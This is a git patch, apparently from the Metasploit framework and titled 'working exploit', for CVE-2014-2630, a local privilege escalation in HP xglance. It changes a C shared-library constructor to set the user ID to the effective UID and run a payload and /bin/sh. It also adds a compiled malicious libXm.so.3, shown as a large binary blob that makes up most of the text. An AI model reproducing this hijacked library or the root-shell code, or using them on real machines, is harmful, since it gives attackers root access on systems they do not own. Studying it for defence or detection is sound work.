From e1f1ad45bcbe34ba01f6a8dde2da275abaedc63a Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 19 Apr 2020 15:19:19 -0400 Subject: [PATCH] working exploit --- .../{ => CVE-2014-2630}/CVE-2014-2630.c | 5 +- data/exploits/CVE-2014-2630/libXm.so.3 | Bin 0 -> 368248 bytes .../linux/local/hp_xglance_priv_esc.md | 227 ++++++++++++++++++ .../linux/local/hp_xglance_priv_esc.rb | 65 ----- .../linux/local/hp_xglance_priv_esc.rb | 111 ++++----- 5 files changed, 275 insertions(+), 133 deletions(-) rename data/exploits/{ => CVE-2014-2630}/CVE-2014-2630.c (99%) create mode 100644 data/exploits/CVE-2014-2630/libXm.so.3 create mode 100644 documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md delete mode 100644 documentation/modules/exploit/linux/local/hp_xglance_priv_esc.rb diff --git a/data/exploits/CVE-2014-2630.c b/data/exploits/CVE-2014-2630/CVE-2014-2630.c similarity index 99% rename from data/exploits/CVE-2014-2630.c rename to data/exploits/CVE-2014-2630/CVE-2014-2630.c index 0abfa75f2b..bae3bbb18f 100644 --- a/data/exploits/CVE-2014-2630.c +++ b/data/exploits/CVE-2014-2630/CVE-2014-2630.c @@ -9,8 +9,8 @@ void __cxa_finalize (void *d) { } void __attribute__((constructor)) init() { setresuid(geteuid(), geteuid(), geteuid()); - system("#{payload_path}") - // execl("/bin/sh", (char *)NULL, (char *)NULL); + execl("#{payload_path}", (char *)NULL, (char *)NULL); + execl("/bin/sh", (char *)NULL, (char *)NULL); } int applicationShellClassRec = 0; int applicationShellWidgetClass = 0; @@ -3641,4 +3641,3 @@ int XWidthOfScreen = 0; int XWindowEvent = 0; int XWithdrawWindow = 0; int overrideShellWidgetClass = 0; - diff --git a/data/exploits/CVE-2014-2630/libXm.so.3 b/data/exploits/CVE-2014-2630/libXm.so.3 new file mode 100644 index 0000000000000000000000000000000000000000..db09e8838ae05d5f18f097f94a5ce2d580e08915 GIT binary patch literal 368248 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 